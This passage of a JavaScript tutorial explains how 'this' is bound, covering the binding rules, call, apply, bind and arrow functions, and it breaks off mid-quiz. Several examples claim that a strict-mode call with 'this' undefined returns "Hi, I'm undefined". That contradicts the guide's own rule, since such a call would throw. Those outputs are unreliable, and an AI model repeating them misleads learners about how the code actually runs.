href="https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/"> Clear FreeCodeCamp guide comparing the three variable declaration keywords with practical examples. </Card> <Card title="JavaScript Scope and Closures" icon="newspaper" href="https://css-tricks.com/javascript-scope-closures/"> Zell Liew's comprehensive CSS-Tricks article covering both scope and closures in one excellent resource. </Card> <Card title="whatthefuck.is · A Closure" icon="newspaper" href="https://whatthefuck.is/closure"> Dan Abramov's clear, concise explanation of closures. Perfect for the "aha moment." </Card> <Card title="I never understood JavaScript closures" icon="newspaper" href="https://medium.com/dailyjs/i-never-understood-javascript-closures-9663703368e8"> Olivier De Meulder's article that has helped countless developers finally understand closures. </Card> <Card title="The Difference Between Function and Block Scope" icon="newspaper" href="https://medium.com/@josephcardillo/the-difference-between-function-and-block-scope-in-javascript-4296b2322abe"> Joseph Cardillo's focused explanation of how var differs from let and const in terms of scope. </Card> <Card title="Closures: Using Memoization" icon="newspaper" href="https://dev.to/steelvoltage/closures-using-memoization-3597"> Brian Barbour's practical guide showing how closures enable powerful caching patterns. </Card> </CardGroup> ## Tools <Card title="JavaScript Tutor — Visualize Code Execution" icon="play" href="https://pythontutor.com/javascript.html"> Step through JavaScript code and see how closures capture variables in real-time. Visualize the scope chain, execution contexts, and how functions "remember" their environment. Perfect for understanding closures visually. </Card> ## Courses <Card title="JavaScript: Understanding the Weird Parts (First 3.5 Hours)" icon="graduation-cap" href="https://www.youtube.com/watch?v=Bv_5Zv5c-Ts"> Free preview of Anthony Alicea's acclaimed course. Excellent coverage of scope, closures, and execution contexts. </Card> ## Videos <CardGroup cols={2}> <Card title="JavaScript The Hard Parts: Closure, Scope & Execution Context" icon="video" href="https://www.youtube.com/watch?v=XTAzsODSCsM"> Will Sentance draws out execution contexts and the scope chain on a whiteboard as code runs. This visual approach makes the "how" of closures click. </Card> <Card title="Closures in JavaScript" icon="video" href="https://youtu.be/qikxEIxsXco"> Akshay Saini's popular Namaste JavaScript episode with clear visual explanations. </Card> <Card title="Closures — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=CQqwU2Ixu-U"> Mattias Petter Johansson's entertaining and educational take on closures. </Card> <Card title="Learn Closures In 7 Minutes" icon="video" href="https://www.youtube.com/watch?v=3a0I8ICR1Vg"> Web Dev Simplified's concise, beginner-friendly closure explanation. </Card> </CardGroup> ================================================ FILE: docs/concepts/this-call-apply-bind.mdx ================================================ --- title: "this, call, apply & bind" sidebarTitle: "this, call, apply, and bind: How Context Works" description: "Learn JavaScript's 'this' keyword and context binding. Master the 5 binding rules, call/apply/bind methods, and arrow functions." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Object-Oriented JavaScript" "article:tag": "javascript this keyword, call apply bind, context binding, function context, arrow functions" --- Why does `this` sometimes point to the wrong object? Why does your method work perfectly when called directly, but break when passed as a callback? And how do **[`call`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)**, **[`apply`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)**, and **[`bind`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind)** let you take control? ```javascript const user = { name: "Alice", greet() { return `Hi, I'm ${this.name}`; } }; user.greet(); // "Hi, I'm Alice" - works! const greet = user.greet; greet(); // "Hi, I'm undefined" - broken! ``` The **[`this`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)** keyword is one of JavaScript's most confusing features, but it follows specific rules. According to the Stack Overflow Developer Survey, `this` binding is consistently cited as one of the trickiest parts of JavaScript for developers to master. Once you understand them, you'll never be confused again. <Info> **What you'll learn in this guide:** - What `this` actually is and why it's determined at call time - The 5 binding rules that determine `this` (in priority order) - How `call()`, `apply()`, and `bind()` work and when to use each - Arrow functions and why they handle `this` differently - Common pitfalls and how to avoid them </Info> <Warning> **Prerequisite:** This guide builds on [Scope & Closures](/concepts/scope-and-closures). Understanding scope will help you see why `this` behaves differently than regular variables. </Warning> --- ## The Pronoun "I": A Real-World Analogy Think about the word "I" in everyday conversation. It's a simple word, but its meaning changes completely depending on **who is speaking**: ``` ┌─────────────────────────────────────────────────────────────────┐ │ THE PRONOUN "I" │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ Alice says: "I am a developer" │ │ ↓ │ │ "I" = Alice │ │ │ │ Bob says: "I am a designer" │ │ ↓ │ │ "I" = Bob │ │ │ │ The SAME word "I" refers to DIFFERENT people │ │ depending on WHO is speaking! │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` This is exactly how `this` works in JavaScript! The keyword `this` is like the pronoun "I". It refers to different objects depending on **who is "speaking"** (which object is calling the function). ```javascript const alice = { name: "Alice", introduce() { return "I am " + this.name; // "I" = this = alice } }; const bob = { name: "Bob", introduce() { return "I am " + this.name; // "I" = this = bob } }; alice.introduce(); // "I am Alice" bob.introduce(); // "I am Bob" ``` But here's where JavaScript gets interesting. What if Alice could make Bob say her words? Like a ventriloquist making a puppet speak? ```javascript // Alice borrows Bob's voice to introduce herself bob.introduce.call(alice); // "I am Alice" (Bob's function, Alice's this) ``` That's what `call`, `apply`, and `bind` do. They let you control **who "I" refers to**, regardless of which function is speaking. --- ## What is `this` in JavaScript? The **`this`** keyword is a special identifier that JavaScript automatically creates in every function execution context. It refers to the object that is currently executing the code, typically the object that "owns" the method being called. Unlike most languages where `this` is fixed at definition time, JavaScript determines `this` dynamically at **call time**, based on how a function is invoked. ### The Key Insight: Call-Time Binding Here's what makes JavaScript different from many other languages: > **`this` is determined when the function is CALLED, not when it's defined.** This is called **dynamic binding**, and it's both powerful and confusing. The same function can have different `this` values depending on how you call it: ```javascript function showThis() { return this; } const obj = { showThis }; // Same function, different this values: showThis(); // undefined (strict mode) or globalThis obj.showThis(); // obj (the object before the dot) showThis.call({}); // {} (explicitly specified) ``` In non-strict mode, plain function calls return **[`globalThis`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis)** (the global object: `window` in browsers, `global` in Node.js). ### Why Does JavaScript Work This Way? This design allows for incredible flexibility: 1. **Method sharing**: Multiple objects can share the same function 2. **Dynamic behavior**: Functions can work with any object that has the right properties 3. **Borrowing methods**: You can use methods from one object on another ```javascript // One function, many objects function greet() { return `Hello, I'm ${this.name}!`; } const alice = { name: "Alice", greet }; const bob = { name: "Bob", greet }; const charlie = { name: "Charlie", greet }; alice.greet(); // "Hello, I'm Alice!" bob.greet(); // "Hello, I'm Bob!" charlie.greet(); // "Hello, I'm Charlie!" ``` The trade-off? You need to understand the rules that determine `this`. Let's dive in. --- ## The 5 Binding Rules (Priority Order) When JavaScript needs to figure out what `this` refers to, it follows these rules **in order of priority**. Higher priority rules override lower ones. ``` BINDING RULES (Highest to Lowest Priority) ┌─────────────────────────────────────────┐ │ 1. new Binding (Highest) │ ├─────────────────────────────────────────┤ │ 2. Explicit Binding (call/apply/ │ │ bind) │ ├─────────────────────────────────────────┤ │ 3. Implicit Binding (method call) │ ├─────────────────────────────────────────┤ │ 4. Default Binding (plain call) │ ├─────────────────────────────────────────┤ │ 5. Arrow Functions (lexical) │ │ (Special case - no own this) │ └─────────────────────────────────────────┘ ``` <Note> Arrow functions are listed last not because they're lowest priority, but because they work differently. As defined in the ECMAScript 2015 specification, arrow functions do not have their own `this` binding at all — they inherit it from the enclosing lexical scope. We'll cover them in detail. </Note> --- ### Rule 1: `new` Binding (Highest Priority) When a function is called with the **[`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new)** keyword, `this` is set to a **brand new object** that's automatically created. ```javascript class Person { constructor(name) { // 'this' is the new object being created this.name = name; this.greet = function() { return `Hi, I'm ${this.name}`; }; } } const alice = new Person("Alice"); console.log(alice.name); // "Alice" console.log(alice.greet()); // "Hi, I'm Alice" ``` #### What `new` Does Under the Hood When you call `new Person("Alice")`, JavaScript performs these 4 steps: <Steps> <Step title="Create an empty object"> A brand new empty object is created: `{}` </Step> <Step title="Link the prototype"> The new object's internal `[[Prototype]]` is set to the constructor's **[`prototype`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype)** property. ```javascript // Conceptually: newObject.__proto__ = Person.prototype; ``` </Step> <Step title="Bind this and execute"> The constructor function is called with `this` bound to the new object. This is where your constructor code runs. ```javascript // Conceptually: Person.call(newObject, "Alice"); ``` </Step> <Step title="Return the object"> If the constructor doesn't explicitly return an object, the new object is returned automatically. ```javascript // Conceptually: return newObject; ``` </Step> </Steps> Here's a simplified implementation of what `new` does: ```javascript // What 'new' does behind the scenes function simulateNew(Constructor, ...args) { // Step 1: Create empty object const newObject = {}; // Step 2: Link prototype if it's an object // (If prototype isn't an object, newObject keeps Object.prototype) if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') { Object.setPrototypeOf(newObject, Constructor.prototype); } // Step 3: Bind this and execute const result = Constructor.apply(newObject, args); // Step 4: Return object (unless constructor returns a non-primitive) return result !== null && typeof result === 'object' ? result : newObject; } // These are equivalent: const alice1 = new Person("Alice"); const alice2 = simulateNew(Person, "Alice"); ``` #### ES6 Classes: The Modern Syntax With ES6 classes, the syntax is cleaner but the behavior is identical: ```javascript class Rectangle { constructor(width, height) { this.width = width; // 'this' = new Rectangle instance this.height = height; } getArea() { return this.width * this.height; // 'this' = the instance } } const rect = new Rectangle(10, 5); console.log(rect.getArea()); // 50 ``` <Tip> For more on constructors, the `new` keyword, and prototypes, see the [Object Creation & Prototypes](/concepts/object-creation-prototypes) concept page. </Tip> --- ### Rule 2: Explicit Binding (`call`, `apply`, `bind`) You can explicitly specify what `this` should be using `call()`, `apply()`, or `bind()`. This overrides implicit and default binding. ```javascript function introduce() { return `I'm ${this.name}, a ${this.role}`; } const alice = { name: "Alice", role: "developer" }; const bob = { name: "Bob", role: "designer" }; // Explicitly set 'this' to alice introduce.call(alice); // "I'm Alice, a developer" // Explicitly set 'this' to bob introduce.call(bob); // "I'm Bob, a designer" ``` We'll cover `call`, `apply`, and `bind` in detail in the next section. For now, just know that explicit binding has higher priority than implicit binding: ```javascript const alice = { name: "Alice", greet() { return `Hi, I'm ${this.name}`; } }; const bob = { name: "Bob" }; // Even though we're calling alice.greet(), we can override 'this' alice.greet.call(bob); // "Hi, I'm Bob" (explicit wins!) ``` --- ### Rule 3: Implicit Binding (Method Call) When a function is called as a **method of an object** (using dot notation), `this` is set to the object **before the dot**. ```javascript const user = { name: "Alice", greet() { return `Hello, I'm ${this.name}`; } }; // The object before the dot becomes 'this' user.greet(); // "Hello, I'm Alice" (this = user) ``` #### The "Left of the Dot" Rule A simple way to remember: **look left of the dot** when the function is called. ```javascript const company = { name: "TechCorp", department: { name: "Engineering", getName() { return this.name; } } }; // What's left of the dot at call time? company.department.getName(); // "Engineering" (this = department) ``` <Warning> **Common trap**: It's the object immediately before the dot that matters, not the outermost object. In the example above, `this` is `department`, not `company`. </Warning> #### The Implicit Binding Gotcha: Lost Context This trips up many developers. When you **extract a method** from an object, it loses its implicit binding: ```javascript const user = { name: "Alice", greet() { return `Hello, I'm ${this.name}`; } }; // This works user.greet(); // "Hello, I'm Alice" // But extracting the method loses 'this'! const greetFn = user.greet; greetFn(); // "Hello, I'm undefined" (strict mode: this = undefined) ``` Why? Because `greetFn()` is a plain function call. There's no dot, so implicit binding doesn't apply. We fall through to default binding. ``` IMPLICIT BINDING LOST ┌─────────────────────────────────────────────────────────────┐ │ │ │ user.greet() │ │ ↑ │ │ └── Object before dot → this = user ✓ │ │ │ │ const greetFn = user.greet; │ │ greetFn() │ │ ↑ │ │ └── No dot! → Default binding → this = undefined ✗ │ │ │ └─────────────────────────────────────────────────────────────┘ ``` This happens constantly with: - Callbacks: `setTimeout(user.greet, 1000)` - Event handlers: `button.addEventListener('click', user.greet)` - Array methods: `[1,2,3].forEach(user.process)` We'll cover solutions in the "Gotchas" section. --- ### Rule 4: Default Binding (Plain Function Call) When a function is called without any of the above conditions, **default binding** applies. In **[strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)** (which you should always use): `this` is `undefined`. In non-strict mode: `this` is the global object (`window` in browsers, `global` in Node.js). ```javascript "use strict"; function showThis() { return this; } showThis(); // undefined (strict mode) ``` ```javascript // Without strict mode (not recommended) function showThis() { return this; } showThis(); // window (in browser) or global (in Node.js) ``` <Warning> **Always use strict mode!** Non-strict mode's default binding to `globalThis` is dangerous. It can accidentally create or modify global variables, leading to hard-to-find bugs. ES6 modules and classes are automatically in strict mode. </Warning> #### When Default Binding Applies Default binding kicks in when: 1. **Plain function call**: `myFunction()` 2. **IIFE**: `(function() { ... })()` 3. **Callback without binding**: `setTimeout(function() { ... }, 100)` ```javascript "use strict"; // All of these use default binding (this = undefined) function regularFunction() { return this; } regularFunction(); // undefined (function() { return this; // undefined })(); setTimeout(function() { console.log(this); // undefined }, 100); ``` --- ### Rule 5: Arrow Functions (Lexical `this`) **[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)** are **special**. They don't have their own `this` binding at all. Instead, they **inherit `this`** from their enclosing scope at the time they're defined. ```javascript const user = { name: "Alice", // Regular function: 'this' is determined by how it's called regularGreet: function() { return `Hi, I'm ${this.name}`; }, // Arrow function: 'this' is inherited from where it's defined arrowGreet: () => { return `Hi, I'm ${this.name}`; } }; user.regularGreet(); // "Hi, I'm Alice" (this = user) user.arrowGreet(); // "Hi, I'm undefined" (this = enclosing scope, not user!) ``` Wait, why is `arrowGreet` showing `undefined`? Because the arrow function was defined in the object literal, and the enclosing scope at that point is the module/global scope, not the `user` object. #### Where Arrow Functions Shine Arrow functions are perfect for **callbacks** where you want to preserve the outer `this`: ```javascript class Counter { constructor() { this.count = 0; } // Problem: regular function loses 'this' in callback startBroken() { setInterval(function() { this.count++; // ERROR: 'this' is undefined! console.log(this.count); }, 1000); } // Solution: arrow function preserves 'this' startFixed() { setInterval(() => { this.count++; // Works! 'this' is the Counter instance console.log(this.count); }, 1000); } } ``` #### Arrow Functions Cannot Be Rebound You cannot change an arrow function's `this` using `call`, `apply`, or `bind`: ```javascript const arrowFn = () => this; const obj = { name: "Object" }; // These all return the same thing - the lexical 'this' arrowFn(); // lexical this arrowFn.call(obj); // lexical this (call is ignored!) arrowFn.apply(obj); // lexical this (apply is ignored!) arrowFn.bind(obj)(); // lexical this (bind is ignored!) ``` #### Arrow Functions as Class Fields A common modern pattern is using arrow functions as class methods: ```javascript class Button { constructor(label) { this.label = label; } // Arrow function as class field - 'this' is always the instance handleClick = () => { console.log(`Button "${this.label}" clicked`); } } const btn = new Button("Submit"); // Works even when extracted! const handler = btn.handleClick; handler(); // "Button "Submit" clicked" ✓ // Works in event listeners! document.querySelector('button').addEventListener('click', btn.handleClick); ``` <Tip> This pattern is widely used in React class components and other UI frameworks to ensure event handlers always have the correct `this`. </Tip> --- ## The Decision Flowchart When you need to figure out what `this` is, follow this flowchart: ``` ┌─────────────────────────┐ │ Is it an arrow │ │ function? │ └───────────┬─────────────┘ │ │ YES ◄──┘ └──► NO │ │ ▼ ▼ ┌─────────────────┐ ┌─────────────────────┐ │ this = enclosing│ │ Was it called with │ │ scope's this │ │ 'new'? │ │ (DONE) │ └──────────┬──────────┘ └─────────────────┘ │ │ YES ◄─┘ └──► NO │ │ ▼ ▼ ┌─────────────────┐ ┌─────────────────────┐ │ this = new │ │ Was call/apply/bind │ │ object │ │ used? │ │ (DONE) │ └──────────┬──────────┘ └─────────────────┘ │ │ YES ◄──┘ └──► NO │ │ ▼ ▼ ┌─────────────────┐ ┌─────────────────────┐ │ this = specified│ │ Was it called as │ │ object │ │ obj.method()? │ │ (DONE) │ └──────────┬──────────┘ └─────────────────┘ │ │ YES ◄──┘ └──► NO │ │ ▼ ▼ ┌─────────────────┐ ┌─────────────────┐ │ this = obj │ │ Default binding:│ │ (left of dot) │ │ this = undefined│ │ (DONE) │ │ (strict mode) │ └─────────────────┘ └─────────────────┘ ``` --- ## How Do `call()`, `apply()`, and `bind()` Work? These three methods give you explicit control over `this`. They're built into every function in JavaScript. ### Quick Comparison | Method | Invokes Function? | Arguments | Returns | |--------|-------------------|-----------|---------| | `call()` | Yes, immediately | Individual: `call(this, a, b, c)` | Function result | | `apply()` | Yes, immediately | Array: `apply(this, [a, b, c])` | Function result | | `bind()` | No | Individual: `bind(this, a, b)` | New function | **Memory trick:** - **C**all = **C**ommas (arguments separated by commas) - **A**pply = **A**rray (arguments in an array) - **B**ind = **B**ack later (returns a function for later use) --- ### `call()` — Call with This The `call()` method calls a function with a specified `this` value and arguments provided **individually**. **Syntax:** ```javascript func.call(thisArg, arg1, arg2, ...) ``` **Basic example:** ```javascript function greet(greeting, punctuation) { return `${greeting}, I'm ${this.name}${punctuation}`; } const alice = { name: "Alice" }; const bob = { name: "Bob" }; greet.call(alice, "Hello", "!"); // "Hello, I'm Alice!" greet.call(bob, "Hi", "..."); // "Hi, I'm Bob..." ``` #### Use Case: Method Borrowing `call()` is perfect for borrowing methods from one object to use on another: ```javascript const arrayLike = { 0: "a", 1: "b", 2: "c", length: 3 }; // arrayLike doesn't have array methods, but we can borrow them! const result = Array.prototype.slice.call(arrayLike); console.log(result); // ["a", "b", "c"] const joined = Array.prototype.join.call(arrayLike, "-"); console.log(joined); // "a-b-c" ``` #### Use Case: Calling Parent Methods ```javascript class Animal { constructor(name) { this.name = name; } speak() { return `${this.name} makes a sound`; } } class Dog extends Animal { speak() { // Call parent method with 'this' context const parentSays = Animal.prototype.speak.call(this); return `${parentSays}. ${this.name} barks!`; } } const dog = new Dog("Rex"); dog.speak(); // "Rex makes a sound. Rex barks!" ``` --- ### `apply()` — Apply with Array The `apply()` method is almost identical to `call()`, but arguments are passed as an **array** (or array-like object). **Syntax:** ```javascript func.apply(thisArg, [arg1, arg2, ...]) ``` **Basic example:** ```javascript function greet(greeting, punctuation) { return `${greeting}, I'm ${this.name}${punctuation}`; } const alice = { name: "Alice" }; // Same result as call(), but args in an array greet.apply(alice, ["Hello", "!"]); // "Hello, I'm Alice!" ``` #### Classic Use Case: Finding Max/Min Before ES6, `apply()` was the way to use `Math.max()` with an array: ```javascript const numbers = [5, 2, 9, 1, 7]; // Old way with apply const max = Math.max.apply(null, numbers); // 9 const min = Math.min.apply(null, numbers); // 1 ``` <Tip> **Modern alternative:** Use the spread operator instead! ```javascript const numbers = [5, 2, 9, 1, 7]; const max = Math.max(...numbers); // 9 const min = Math.min(...numbers); // 1 ``` The spread syntax is cleaner and more readable. Use `apply()` mainly when you need to set `this` AND spread arguments. </Tip> #### When Arguments Are Already an Array `apply()` shines when your arguments are already in array form: ```javascript function introduce(greeting, role, company) { return `${greeting}! I'm ${this.name}, ${role} at ${company}.`; } const alice = { name: "Alice" }; const args = ["Hello", "engineer", "TechCorp"]; // When args are already an array, apply is natural introduce.apply(alice, args); // "Hello! I'm Alice, engineer at TechCorp." // With call, you'd need to spread introduce.call(alice, ...args); // Same result ``` --- ### `bind()` — Bind for Later The `bind()` method is different from `call()` and `apply()`. It doesn't call the function immediately. Instead, it returns a **new function** with `this` permanently bound. **Syntax:** ```javascript const boundFunc = func.bind(thisArg, arg1, arg2, ...) ``` **Basic example:** ```javascript function greet() { return `Hello, I'm ${this.name}`; } const alice = { name: "Alice" }; // bind() returns a NEW function const greetAlice = greet.bind(alice); // Call it whenever you want greetAlice(); // "Hello, I'm Alice" greetAlice(); // "Hello, I'm Alice" (still works!) ``` #### Key Characteristic: Permanent Binding Once bound, the `this` value cannot be changed, not even with `call()` or `apply()`: ```javascript function showThis() { return this.name; } const alice = { name: "Alice" }; const bob = { name: "Bob" }; const boundToAlice = showThis.bind(alice); boundToAlice(); // "Alice" boundToAlice.call(bob); // "Alice" (call ignored!) boundToAlice.apply(bob); // "Alice" (apply ignored!) boundToAlice.bind(bob)(); // "Alice" (bind ignored!) ``` #### Use Case: Event Handlers This is a common use of `bind()`: ```javascript class Toggle { constructor() { this.isOn = false; // Without bind, 'this' would be the button element this.handleClick = this.handleClick.bind(this); } handleClick() { this.isOn = !this.isOn; console.log(`Toggle is ${this.isOn ? 'ON' : 'OFF'}`); } attachTo(button) { button.addEventListener('click', this.handleClick); } } ``` #### Use Case: setTimeout and setInterval ```javascript class Countdown { constructor(start) { this.count = start; } start() { // Without bind, 'this' would be undefined in the callback setInterval(this.tick.bind(this), 1000); } tick() { console.log(this.count--); } } const countdown = new Countdown(10); countdown.start(); // 10, 9, 8, 7... ``` #### Use Case: Partial Application `bind()` can also pre-fill arguments, creating a specialized version of a function: ```javascript function multiply(a, b) { return a * b; } // Create specialized functions const double = multiply.bind(null, 2); // 'a' is always 2 const triple = multiply.bind(null, 3); // 'a' is always 3 double(5); // 10 (2 * 5) triple(5); // 15 (3 * 5) double(7); // 14 (2 * 7) ``` This technique is called **partial application**. You're partially applying arguments to create a more specific function. ```javascript function greet(greeting, name) { return `${greeting}, ${name}!`; } // Partial application: pre-fill the greeting const sayHello = greet.bind(null, "Hello"); const sayGoodbye = greet.bind(null, "Goodbye"); sayHello("Alice"); // "Hello, Alice!" sayHello("Bob"); // "Hello, Bob!" sayGoodbye("Alice"); // "Goodbye, Alice!" ``` --- ## Common Patterns & Use Cases ### Pattern 1: Method Borrowing Use array methods on array-like objects: ```javascript // Arguments object (old-school, but still seen in legacy code) function sum() { // 'arguments' is array-like but not an array (see MDN: Arguments object) return Array.prototype.reduce.call( arguments, (total, n) => total + n, 0 ); } sum(1, 2, 3, 4); // 10 // NodeList from DOM (browser-only example) const divs = document.querySelectorAll('div'); // NodeList, not Array const texts = Array.prototype.map.call(divs, div => div.textContent); // Modern alternative: Array.from() const textsModern = Array.from(divs).map(div => div.textContent); // Or spread const textsSpread = [...divs].map(div => div.textContent); ``` ### Pattern 2: Preserving Context in Classes The three main approaches to ensure `this` is correct in class methods: ```javascript class Player { constructor(name) { this.name = name; this.score = 0; // Approach 1: Bind in constructor this.incrementBound = this.incrementBound.bind(this); } // Regular method - needs binding when used as callback incrementBound() { this.score++; return this.score; } // Approach 2: Arrow function class field incrementArrow = () => { this.score++; return this.score; } // Approach 3: Bind at call site (inline) regularIncrement() { this.score++; return this.score; } } const player = new Player("Alice"); // All these work correctly: setTimeout(player.incrementBound, 100); // Approach 1 setTimeout(player.incrementArrow, 100); // Approach 2 setTimeout(player.regularIncrement.bind(player), 100); // Approach 3 setTimeout(() => player.regularIncrement(), 100); // Approach 3 alt ``` <Tip> **Which approach is best?** - **Arrow class fields** (Approach 2) are the cleanest for most cases - **Bind in constructor** (Approach 1) is useful when you need the method to also work as a regular method - **Inline bind/arrow** (Approach 3) is fine for one-off uses but creates new functions each render in React </Tip> ### Pattern 3: Partial Application for Reusable Functions ```javascript // Generic logging function function log(level, timestamp, message) { console.log(`[${level}] ${timestamp}: ${message}`); } // Create specialized loggers const logError = log.bind(null, "ERROR"); const logWarning = log.bind(null, "WARNING"); const logInfo = log.bind(null, "INFO"); const now = new Date().toISOString(); logError(now, "Database connection failed"); // [ERROR] 2024-01-15T10:30:00.000Z: Database connection failed logInfo(now, "Server started"); // [INFO] 2024-01-15T10:30:00.000Z: Server started ``` --- ## The Gotchas: Where `this` Goes Wrong <AccordionGroup> <Accordion title="Gotcha 1: Lost Context in Callbacks"> **The problem:** ```javascript class Timer { constructor() { this.seconds = 0; } start() { setInterval(function() { this.seconds++; // ERROR: this is undefined! console.log(this.seconds); }, 1000); } } ``` **Why it happens:** The callback function uses default binding, so `this` is `undefined` in strict mode. **Solutions:** ```javascript // Solution 1: Arrow function start() { setInterval(() => { this.seconds++; // ✓ Arrow inherits 'this' }, 1000); } // Solution 2: bind() start() { setInterval(function() { this.seconds++; // ✓ Bound to Timer instance }.bind(this), 1000); } // Solution 3: Store reference (old-school) start() { const self = this; setInterval(function() { self.seconds++; // ✓ Using closure }, 1000); } ``` </Accordion> <Accordion title="Gotcha 2: Extracting Methods from Objects"> **The problem:** ```javascript const user = { name: "Alice", greet() { return `Hi, I'm ${this.name}`; } }; const greet = user.greet; greet(); // "Hi, I'm undefined" ``` **Why it happens:** Assigning the method to a variable loses the implicit binding. **Solutions:** ```javascript // Solution 1: Keep as method call user.greet(); // ✓ "Hi, I'm Alice" // Solution 2: Bind when extracting const greet = user.greet.bind(user); greet(); // ✓ "Hi, I'm Alice" // Solution 3: Wrapper function const greet = () => user.greet(); greet(); // ✓ "Hi, I'm Alice" ``` </Accordion> <Accordion title="Gotcha 3: Nested Functions Inside Methods"> **The problem:** ```javascript const calculator = { value: 0, add(numbers) { numbers.forEach(function(n) { this.value += n; // ERROR: this is undefined! }); return this.value; } }; ``` **Why it happens:** The inner function has its own `this` (default binding), it doesn't inherit from `add()`. **Solutions:** ```javascript // Solution 1: Arrow function (recommended) add(numbers) { numbers.forEach((n) => { this.value += n; // ✓ Arrow inherits 'this' }); return this.value; } // Solution 2: Use thisArg parameter add(numbers) { numbers.forEach(function(n) { this.value += n; // ✓ 'this' passed as second arg }, this); return this.value; } // Solution 3: bind() add(numbers) { numbers.forEach(function(n) { this.value += n; // ✓ Bound to calculator }.bind(this)); return this.value; } ``` </Accordion> <Accordion title="Gotcha 4: Arrow Functions as Methods"> **The problem:** ```javascript const user = { name: "Alice", greet: () => { return `Hi, I'm ${this.name}`; // 'this' is NOT user! } }; user.greet(); // "Hi, I'm undefined" ``` **Why it happens:** Arrow functions don't have their own `this`. The `this` here is from the surrounding scope (module/global), not `user`. **Solution:** Use regular functions for object methods: ```javascript const user = { name: "Alice", greet() { // Shorthand method syntax return `Hi, I'm ${this.name}`; // ✓ this = user } }; user.greet(); // "Hi, I'm Alice" ``` </Accordion> </AccordionGroup> --- ## Arrow Functions: The Modern Solution Arrow functions were introduced in ES6 partly to solve `this` confusion. They work fundamentally differently. ### How Arrow Functions Handle `this` 1. **No own `this`**: Arrow functions don't create their own `this` binding 2. **Lexical inheritance**: They use `this` from the enclosing scope 3. **Permanent**: Cannot be changed by `call`, `apply`, or `bind` ```javascript const obj = { name: "Object", regularMethod: function() { console.log("Regular:", this.name); // "Object" // Nested regular function - loses 'this' function inner() { console.log("Inner regular:", this); // undefined } inner(); // Nested arrow function - keeps 'this' const innerArrow = () => { console.log("Inner arrow:", this.name); // "Object" }; innerArrow(); } }; ``` ### When to Use Arrow Functions vs Regular Functions | Use Case | Arrow Function | Regular Function | |----------|---------------|------------------| | Object methods | ❌ No | ✅ Yes | | Class methods (in prototype) | ❌ No | ✅ Yes | | Callbacks needing outer `this` | ✅ Yes | ❌ No (needs bind) | | Event handlers in classes | ✅ Yes (as class fields) | ⚠️ Needs binding | | Functions needing own `this` | ❌ No | ✅ Yes | | Constructor functions | ❌ No (can't use `new`) | ✅ Yes | | Methods using [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) | ❌ No (no `arguments`) | ✅ Yes | ### Arrow Functions as Class Fields This is the most common pattern in modern JavaScript: ```javascript class SearchBox { constructor(element) { this.element = element; this.query = ""; // Attach event listener - arrow function ensures correct 'this' this.element.addEventListener('input', this.handleInput); } // Arrow function as class field handleInput = (event) => { this.query = event.target.value; // 'this' is always SearchBox instance this.performSearch(); } performSearch = () => { console.log(`Searching for: ${this.query}`); } } ``` ### Limitations of Arrow Functions ```javascript // 1. Cannot be used with 'new' const ArrowClass = () => {}; new ArrowClass(); // TypeError: ArrowClass is not a constructor // 2. No own 'arguments' object // Arrow functions inherit 'arguments' from enclosing function scope (if any) function outer() { const arrow = () => { console.log(arguments); // Works! Uses outer's arguments }; arrow(); } outer(1, 2, 3); // logs [1, 2, 3] // But at module/global scope with no enclosing function: const arrow = () => { console.log(arguments); // ReferenceError: arguments is not defined }; // Use rest parameters instead (recommended) const arrowWithRest = (...args) => { console.log(args); // Works everywhere! }; // 3. No own 'super' binding (inherits from enclosing class method if any) // 4. Cannot be used as generators // There's no arrow generator syntax - you must use function* function* generatorFn() { yield 1; } // Works // () =>* { yield 1; } // No such syntax exists ``` --- ## Key Takeaways <Info> **The key things to remember about `this`, `call`, `apply`, and `bind`:** 1. **`this` is determined at call time** — Not when the function is defined, but when it's called. This is called dynamic binding. 2. **5 binding rules in priority order** — new binding > explicit binding > implicit binding > default binding (arrow functions are special). 3. **"Left of the dot" rule** — In method calls like `obj.method()`, `this` is the object immediately left of the dot. 4. **Extracting methods loses `this`** — `const fn = obj.method; fn()` loses implicit binding. This is the #1 source of `this` bugs. 5. **`call()` and `apply()` invoke immediately** — They set `this` and call the function right away. `call` takes comma-separated args, `apply` takes an array. 6. **`bind()` returns a new function** — It permanently binds `this` for later use. The binding cannot be overridden, even with `call` or `apply`. 7. **Arrow functions have no own `this`** — They inherit `this` from their enclosing scope (lexical binding). Perfect for callbacks. 8. **Arrow functions can't be rebound** — `call`, `apply`, and `bind` have no effect on arrow functions' `this`. 9. **Use arrow class fields for event handlers** — `handleClick = () => {}` ensures `this` is always the instance, even when extracted. 10. **Strict mode changes default binding** — In strict mode, plain function calls have `this` as `undefined`, not the global object. </Info> --- ## Test Your Knowledge Try to figure out what `this` refers to in each example before revealing the answer. <AccordionGroup> <Accordion title="Question 1: What does this log?"> ```javascript const user = { name: "Alice", greet() { return `Hi, I'm ${this.name}`; } }; const greet = user.greet; console.log(greet()); ``` **Answer:** `"Hi, I'm undefined"` When `greet` is assigned to a variable and called without an object, implicit binding is lost. Default binding applies, and in strict mode `this` is `undefined`. </Accordion> <Accordion title="Question 2: What does this log?"> ```javascript class Counter { count = 0; increment = () => { this.count++; } } const counter = new Counter(); const inc = counter.increment; inc(); inc(); console.log(counter.count); ``` **Answer:** `2` Arrow function class fields have lexical `this` bound to the instance. Even when extracted, `this` still refers to `counter`. </Accordion> <Accordion title="Question 3: What does this log?"> ```javascript function greet() { return `Hello, ${this.name}!`; } 